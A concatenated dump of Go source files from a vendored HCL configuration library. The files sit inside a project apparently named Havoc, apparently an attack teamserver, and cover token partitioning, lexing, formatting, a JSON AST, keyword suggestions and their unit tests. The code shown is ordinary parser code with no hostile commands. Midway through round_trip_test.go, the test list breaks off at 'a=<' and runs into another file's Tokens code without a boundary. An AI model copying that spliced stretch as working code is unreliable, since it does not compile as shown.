(e.g. // because it was produced in terms of the scanner's result) but if that isn't // true then it will make a best effort that may produce strange results at // the boundaries. // // Native hclsyntax tokens are used here, because they contain the necessary // absolute position information. However, since writerTokens produces a // correlatable sequence of writer tokens, the resulting indices can be // used also to index into its result, allowing the partitioning of writer // tokens to be driven by the partitioning of native tokens. // // The tokens are assumed to be in source order and non-overlapping, which // will be true if the token sequence from the scanner is used directly. func partitionTokens(toks hclsyntax.Tokens, rng hcl.Range) (start, end int) { // We use a linear search here because we assume that in most cases our // target range is close to the beginning of the sequence, and the sequences // are generally small for most reasonable files anyway. for i := 0; ; i++ { if i >= len(toks) { // No tokens for the given range at all! return len(toks), len(toks) } if toks[i].Range.Start.Byte >= rng.Start.Byte { start = i break } } for i := start; ; i++ { if i >= len(toks) { // The range "hangs off" the end of the token sequence return start, len(toks) } if toks[i].Range.Start.Byte >= rng.End.Byte { end = i // end marker is exclusive break } } return start, end } // partitionLeadCommentTokens takes a sequence of tokens that is assumed // to immediately precede a construct that can have lead comment tokens, // and returns the index into that sequence where the lead comments begin. // // Lead comments are defined as whole lines containing only comment tokens // with no blank lines between. If no such lines are found, the returned // index will be len(toks). func partitionLeadCommentTokens(toks hclsyntax.Tokens) int { // single-line comments (which is what we're interested in here) // consume their trailing newline, so we can just walk backwards // until we stop seeing comment tokens. for i := len(toks) - 1; i >= 0; i-- { if toks[i].Type != hclsyntax.TokenComment { return i + 1 } } return 0 } // partitionLineEndTokens takes a sequence of tokens that is assumed // to immediately follow a construct that can have a line comment, and // returns first the index where any line comments end and then second // the index immediately after the trailing newline. // // Line comments are defined as comments that appear immediately after // a construct on the same line where its significant tokens ended. // // Since single-line comment tokens (# and //) include the newline that // terminates them, in the presence of these the two returned indices // will be the same since the comment itself serves as the line end. func partitionLineEndTokens(toks hclsyntax.Tokens) (afterComment, afterNewline int) { for i := 0; i < len(toks); i++ { tok := toks[i] if tok.Type != hclsyntax.TokenComment { switch tok.Type { case hclsyntax.TokenNewline: return i, i + 1 case hclsyntax.TokenEOF: // Although this is valid, we mustn't include the EOF // itself as our "newline" or else strange things will // happen when we try to append new items. return i, i default: // If we have well-formed input here then nothing else should be // possible. This path should never happen, because we only try // to extract tokens from the sequence if the parser succeeded, // and it should catch this problem itself. panic("malformed line trailers: expected only comments and newlines") } } if len(tok.Bytes) > 0 && tok.Bytes[len(tok.Bytes)-1] == '\n' { // Newline at the end of a single-line comment serves both as // the end of comments *and* the end of the line. return i + 1, i + 1 } } return len(toks), len(toks) } // lexConfig uses the hclsyntax scanner to get a token stream and then // rewrites it into this package's token model. // // Any errors produced during scanning are ignored, so the results of this // function should be used with care. func lexConfig(src []byte) Tokens { mainTokens, _ := hclsyntax.LexConfig(src, "", hcl.Pos{Byte: 0, Line: 1, Column: 1}) return writerTokens(mainTokens) } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/parser_test.go ================================================ package hclwrite import ( "fmt" "reflect" "testing" "github.com/davecgh/go-spew/spew" "github.com/google/go-cmp/cmp" "github.com/kylelemons/godebug/pretty" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestParse(t *testing.T) { tests := []struct { src string want TestTreeNode }{ { "", TestTreeNode{ Type: "Body", }, }, { "a = 1\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "# aye aye aye\na = 1\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", Val: "# aye aye aye\n", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = 1 # because it is\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", Val: " # because it is\n", }, }, }, }, }, }, { "# bee bee bee\n\nb = 1\n", // two newlines separate the comment from the attribute TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Tokens", // Only lead/line comments attached to an object have type "comments" Val: "# bee bee bee\n\n", }, { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", Val: "", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = (\n 1 + 2\n)\nb = 3\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ {Type: "comments"}, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " (\n 1 + 2\n)", }, }, }, {Type: "comments"}, { Type: "Tokens", Val: "\n", }, }, }, { Type: "Attribute", Children: []TestTreeNode{ {Type: "comments"}, { Type: "identifier", Val: "b", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 3", }, }, }, {Type: "comments"}, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b label {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "identifier", Val: " label", }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b \"label\" {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "quoted", Val: ` "label"`, }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b \"label1\" /* foo */ \"label2\" {}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", Children: []TestTreeNode{ { Type: "quoted", Val: ` "label1"`, }, { // The comment between the labels just // becomes an "unstructured tokens" // node, because this isn't a place // where we expect comments to attach // to a particular object as // documentation. Type: "Tokens", Val: ` /* foo */`, }, { Type: "quoted", Val: ` "label2"`, }, }, }, { Type: "Tokens", Val: " {", }, { Type: "Body", }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "b {\n a = 1\n}\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Block", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "b", }, { Type: "blockLabels", }, { Type: "Tokens", Val: " {", }, { Type: "Body", Children: []TestTreeNode{ { Type: "Tokens", Val: "\n", }, { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: " a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Tokens", Val: " 1", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, { Type: "Tokens", Val: "}", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseName", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "identifier", Val: "bar", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[0]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseIndex", Children: []TestTreeNode{ { Type: "Tokens", Val: "[", }, { Type: "number", Val: "0", }, { Type: "Tokens", Val: "]", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.0\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, { Type: "TraverseIndex", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "number", Val: "0", }, }, }, }, }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.*\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: ".*", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo.*.bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: ".*.bar", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[*]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[*]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[*].bar\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[*].bar", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, }, }, { Type: "Tokens", Val: "]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar.baz]\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, { Type: "TraverseName", Children: []TestTreeNode{ { Type: "Tokens", Val: ".", }, { Type: "identifier", Val: "baz", }, }, }, }, }, { Type: "Tokens", Val: "]", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, { "a = foo[bar].baz\n", TestTreeNode{ Type: "Body", Children: []TestTreeNode{ { Type: "Attribute", Children: []TestTreeNode{ { Type: "comments", }, { Type: "identifier", Val: "a", }, { Type: "Tokens", Val: " =", }, { Type: "Expression", Children: []TestTreeNode{ { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: " foo", }, }, }, }, }, { Type: "Tokens", Val: "[", }, { Type: "Traversal", Children: []TestTreeNode{ { Type: "TraverseName", Children: []TestTreeNode{ { Type: "identifier", Val: "bar", }, }, }, }, }, { Type: "Tokens", Val: "].baz", }, }, }, { Type: "comments", }, { Type: "Tokens", Val: "\n", }, }, }, }, }, }, } for _, test := range tests { t.Run(test.src, func(t *testing.T) { file, diags := parse([]byte(test.src), "", hcl.Pos{Line: 1, Column: 1}) if len(diags) > 0 { for _, diag := range diags { t.Logf(" - %s", diag.Error()) } t.Fatalf("unexpected diagnostics") } got := makeTestTree(file.body) if !cmp.Equal(got, test.want) { diff := cmp.Diff(got, test.want) t.Errorf( "wrong result\ninput:\n%s\n\ngot:\n%s\nwant:%s\n\ndiff:\n%s", test.src, spew.Sdump(got), spew.Sdump(test.want), diff, ) } }) } } func TestPartitionTokens(t *testing.T) { tests := []struct { tokens hclsyntax.Tokens rng hcl.Range wantStart int wantEnd int }{ { hclsyntax.Tokens{}, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 0}, }, 0, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, 0, 1, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, 1, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 8}, }, 0, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 0}, End: hcl.Pos{Byte: 4}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 8}, }, }, { Type: hclsyntax.TokenIdent, Range: hcl.Range{ Start: hcl.Pos{Byte: 8}, End: hcl.Pos{Byte: 12}, }, }, }, hcl.Range{ Start: hcl.Pos{Byte: 4}, End: hcl.Pos{Byte: 12}, }, 1, 3, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { gotStart, gotEnd := partitionTokens(test.tokens, test.rng) if gotStart != test.wantStart || gotEnd != test.wantEnd { t.Errorf( "wrong result\ntokens: %s\nrange: %#v\ngot: %d, %d\nwant: %d, %d", prettyConfig.Sprint(test.tokens), test.rng, gotStart, test.wantStart, gotEnd, test.wantEnd, ) } }) } } func TestPartitionLeadCommentTokens(t *testing.T) { tests := []struct { tokens hclsyntax.Tokens wantStart int }{ { hclsyntax.Tokens{}, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, }, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenComment, }, }, 0, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenNewline, }, }, 2, }, { hclsyntax.Tokens{ { Type: hclsyntax.TokenComment, }, { Type: hclsyntax.TokenNewline, }, { Type: hclsyntax.TokenComment, }, }, 2, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for i, test := range tests { t.Run(fmt.Sprintf("%02d", i), func(t *testing.T) { gotStart := partitionLeadCommentTokens(test.tokens) if gotStart != test.wantStart { t.Errorf( "wrong result\ntokens: %s\ngot: %d\nwant: %d", prettyConfig.Sprint(test.tokens), gotStart, test.wantStart, ) } }) } } func TestLexConfig(t *testing.T) { tests := []struct { input string want Tokens }{ { `a b `, Tokens{ { Type: hclsyntax.TokenIdent, Bytes: []byte(`a`), SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`b`), SpacesBefore: 2, }, { Type: hclsyntax.TokenEOF, Bytes: []byte{}, SpacesBefore: 1, }, }, }, { ` foo "bar" "baz" { pizza = " cheese " } `, Tokens{ { Type: hclsyntax.TokenNewline, Bytes: []byte{'\n'}, SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`foo`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`bar`), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(`baz`), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenOBrace, Bytes: []byte(`{`), SpacesBefore: 1, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenIdent, Bytes: []byte(`pizza`), SpacesBefore: 4, }, { Type: hclsyntax.TokenEqual, Bytes: []byte(`=`), SpacesBefore: 1, }, { Type: hclsyntax.TokenOQuote, Bytes: []byte(`"`), SpacesBefore: 1, }, { Type: hclsyntax.TokenQuotedLit, Bytes: []byte(` cheese `), SpacesBefore: 0, }, { Type: hclsyntax.TokenCQuote, Bytes: []byte(`"`), SpacesBefore: 0, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenCBrace, Bytes: []byte(`}`), SpacesBefore: 0, }, { Type: hclsyntax.TokenNewline, Bytes: []byte("\n"), SpacesBefore: 0, }, { Type: hclsyntax.TokenEOF, Bytes: []byte{}, SpacesBefore: 0, }, }, }, } prettyConfig := &pretty.Config{ Diffable: true, IncludeUnexported: true, PrintStringers: true, } for _, test := range tests { t.Run(test.input, func(t *testing.T) { got := lexConfig([]byte(test.input)) if !reflect.DeepEqual(got, test.want) { diff := prettyConfig.Compare(test.want, got) t.Errorf( "wrong result\ninput: %s\ndiff: %s", test.input, diff, ) } }) } } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/public.go ================================================ package hclwrite import ( "bytes" "Havoc/pkg/profile/yaotl" ) // NewFile creates a new file object that is empty and ready to have constructs // added t it. func NewFile() *File { body := &Body{ inTree: newInTree(), items: newNodeSet(), } file := &File{ inTree: newInTree(), } file.body = file.inTree.children.Append(body) return file } // ParseConfig interprets the given source bytes into a *hclwrite.File. The // resulting AST can be used to perform surgical edits on the source code // before turning it back into bytes again. func ParseConfig(src []byte, filename string, start hcl.Pos) (*File, hcl.Diagnostics) { return parse(src, filename, start) } // Format takes source code and performs simple whitespace changes to transform // it to a canonical layout style. // // Format skips constructing an AST and works directly with tokens, so it // is less expensive than formatting via the AST for situations where no other // changes will be made. It also ignores syntax errors and can thus be applied // to partial source code, although the result in that case may not be // desirable. func Format(src []byte) []byte { tokens := lexConfig(src) format(tokens) buf := &bytes.Buffer{} tokens.WriteTo(buf) return buf.Bytes() } ================================================ FILE: teamserver/pkg/profile/yaotl/hclwrite/round_trip_test.go ================================================ package hclwrite import ( "bytes" "testing" "github.com/sergi/go-diff/diffmatchpatch" "github.com/zclconf/go-cty/cty" "github.com/zclconf/go-cty/cty/function" "github.com/zclconf/go-cty/cty/function/stdlib" "Havoc/pkg/profile/yaotl" "Havoc/pkg/profile/yaotl/hclsyntax" ) func TestRoundTripVerbatim(t *testing.T) { tests := []string{ ``, `foo = 1 `, ` foobar = 1 baz = 1 `, ` # this file is awesome # tossed salads and scrambled eggs foobar = 1 baz = 1 block { a = "a" b = "b" c = "c" d = "d" subblock { } subblock { e = "e" } } # and they all lived happily ever after `, } for _, test := range tests { t.Run(test, func(t *testing.T) { src := []byte(test) file, diags := parse(src, "", hcl.Pos{Line: 1, Column: 1}) if len(diags) != 0 { for _, diag := range diags { t.Logf(" - %s", diag.Error()) } t.Fatalf("unexpected diagnostics") } wr := &bytes.Buffer{} n, err := file.WriteTo(wr) if n != int64(len(test)) { t.Errorf("wrong number of bytes %d; want %d", n, len(test)) } if err != nil { t.Fatalf("error from WriteTo") } result := wr.Bytes() if !bytes.Equal(result, src) { dmp := diffmatchpatch.New() diffs := dmp.DiffMain(string(src), string(result), false) //t.Errorf("wrong result\nresult:\n%s\ninput:\n%s", result, src) t.Errorf("wrong result\ndiff: (red indicates missing lines, and green indicates unexpected lines)\n%s", dmp.DiffPrettyText(diffs)) } }) } } func TestRoundTripFormat(t *testing.T) { // The goal of this test is to verify that the formatter doesn't change // the semantics of any expressions when it adds and removes whitespace. // String templates are the primary area of concern here, but we also // test some other things for completeness sake. // // The tests here must define zero or more attributes, which will be // extract with JustAttributes and evaluated both before and after // formatting. tests := []string{ "", "\n\n\n", "a=1\n", "a=\"hello\"\n", "a=\"${hello} world\"\n", "a=upper(\"hello\")\n", "a=upper(hello)\n", "a=[1,2,3,4,five]\n", "a={greeting=hello}\n", "a={\ngreeting=hello\n}\n", "a={\ngreeting=hello}\n", "a={greeting=hello\n}\n", "a={greeting=hello,number=five,sarcastic=\"${upper(hello)}\"\n}\n", "a={\ngreeting=hello\nnumber=five\nsarcastic=\"${upper(hello)}\"\n}\n", "a=<", }, } } // Tokens is a flat list of tokens. type Tokens []*Token func (ts Tokens) Bytes() []byte { buf := &bytes.Buffer{} ts.WriteTo(buf) return buf.Bytes() } func (ts Tokens) testValue() string { return string(ts.Bytes()) } // Columns returns the number of columns (grapheme clusters) the token sequence // occupies. The result is not meaningful if there are newline or single-line // comment tokens in the sequence. func (ts Tokens) Columns() int { ret := 0 for _, token := range ts { ret += token.SpacesBefore // spaces are always worth one column each ct, _ := textseg.TokenCount(token.Bytes, textseg.ScanGraphemeClusters) ret += ct } return ret } // WriteTo takes an io.Writer and writes the bytes for each token to it, // along with the spacing that separates each token. In other words, this // allows serializing the tokens to a file or other such byte stream. func (ts Tokens) WriteTo(wr io.Writer) (int64, error) { // We know we're going to be writing a lot of small chunks of repeated // space characters, so we'll prepare a buffer of these that we can // easily pass to wr.Write without any further allocation. spaces := make([]byte, 40) for i := range spaces { spaces[i] = ' ' } var n int64 var err error for _, token := range ts { if err != nil { return n, err } for spacesBefore := token.SpacesBefore; spacesBefore > 0; spacesBefore -= len(spaces) { thisChunk := spacesBefore if thisChunk > len(spaces) { thisChunk = len(spaces) } var thisN int thisN, err = wr.Write(spaces[:thisChunk]) n += int64(thisN) if err != nil { return n, err } } var thisN int thisN, err = wr.Write(token.Bytes) n += int64(thisN) } return n, err } func (ts Tokens) walkChildNodes(w internalWalkFunc) { // Unstructured tokens have no child nodes } func (ts Tokens) BuildTokens(to Tokens) Tokens { return append(to, ts...) } func newIdentToken(name string) *Token { return &Token{ Type: hclsyntax.TokenIdent, Bytes: []byte(name), } } ================================================ FILE: teamserver/pkg/profile/yaotl/json/ast.go ================================================ package json import ( "math/big" "Havoc/pkg/profile/yaotl" ) type node interface { Range() hcl.Range StartRange() hcl.Range } type objectVal struct { Attrs []*objectAttr SrcRange hcl.Range // range of the entire object, brace-to-brace OpenRange hcl.Range // range of the opening brace CloseRange hcl.Range // range of the closing brace } func (n *objectVal) Range() hcl.Range { return n.SrcRange } func (n *objectVal) StartRange() hcl.Range { return n.OpenRange } type objectAttr struct { Name string Value node NameRange hcl.Range // range of the name string } func (n *objectAttr) Range() hcl.Range { return n.NameRange } func (n *objectAttr) StartRange() hcl.Range { return n.NameRange } type arrayVal struct { Values []node SrcRange hcl.Range // range of the entire object, bracket-to-bracket OpenRange hcl.Range // range of the opening bracket } func (n *arrayVal) Range() hcl.Range { return n.SrcRange } func (n *arrayVal) StartRange() hcl.Range { return n.OpenRange } type booleanVal struct { Value bool SrcRange hcl.Range } func (n *booleanVal) Range() hcl.Range { return n.SrcRange } func (n *booleanVal) StartRange() hcl.Range { return n.SrcRange } type numberVal struct { Value *big.Float SrcRange hcl.Range } func (n *numberVal) Range() hcl.Range { return n.SrcRange } func (n *numberVal) StartRange() hcl.Range { return n.SrcRange } type stringVal struct { Value string SrcRange hcl.Range } func (n *stringVal) Range() hcl.Range { return n.SrcRange } func (n *stringVal) StartRange() hcl.Range { return n.SrcRange } type nullVal struct { SrcRange hcl.Range } func (n *nullVal) Range() hcl.Range { return n.SrcRange } func (n *nullVal) StartRange() hcl.Range { return n.SrcRange } // invalidVal is used as a placeholder where a value is needed for a valid // parse tree but the input was invalid enough to prevent one from being // created. type invalidVal struct { SrcRange hcl.Range } func (n invalidVal) Range() hcl.Range { return n.SrcRange } func (n invalidVal) StartRange() hcl.Range { return n.SrcRange } ================================================ FILE: teamserver/pkg/profile/yaotl/json/didyoumean.go ================================================ package json import ( "github.com/agext/levenshtein" ) var keywords = []string{"false", "true", "null"} // keywordSuggestion tries to find a valid JSON keyword that is close to the // given string and returns it if found. If no keyword is close enough, returns // the empty string. func keywordSuggestion(given string) string { return nameSuggestion(given, keywords) } // nameSuggestion tries to find a name from the given slice of suggested names // that is close to the given name and returns it if found. If no suggestion // is close enough, returns the empty string. // // The suggestions are tried in order, so earlier suggestions take precedence // if the given string is similar to two or more suggestions. // // This function is intended to be used with a relatively-small number of // suggestions. It's not optimized for hundreds or thousands of them. func nameSuggestion(given string, suggestions []string) string { for _, suggestion := range suggestions { dist := levenshtein.Distance(given, suggestion, nil) if dist < 3 { // threshold determined experimentally return suggestion } } return "" } ================================================ FILE: teamserver/pkg/profile/yaotl/json/didyoumean_test.go ================================================ package json import "testing" func TestKeywordSuggestion(t *testing.T) { tests := []struct { Input, Want string }{ {"true", "true"}, {"false", "false"}, {"null", "null"}, {"bananas", ""}, {"NaN", ""}, {"Inf", ""}, {"Infinity", ""}, {"void", ""}, {"undefined", ""}, {"ture", "true"}, {"tru", "true"}, {"tre", "true"}, {"treu", "true"}, {"rtue", "true"}, {"flase", "false"}, {"fales", "false"}, {"flse", "false"}, {"fasle", "false"}, {"fasel", "false"}, {"flue", "false"}, {"nil", "null"}, {"nul", "null"}, {"unll", "null"}, {"nll", "null"}, } for _, test := range tests { t.Run(test.Input, func(t *testing.T) { got := keywordSuggestion(test.Input) if got != test.Want { t.Errorf( "wrong 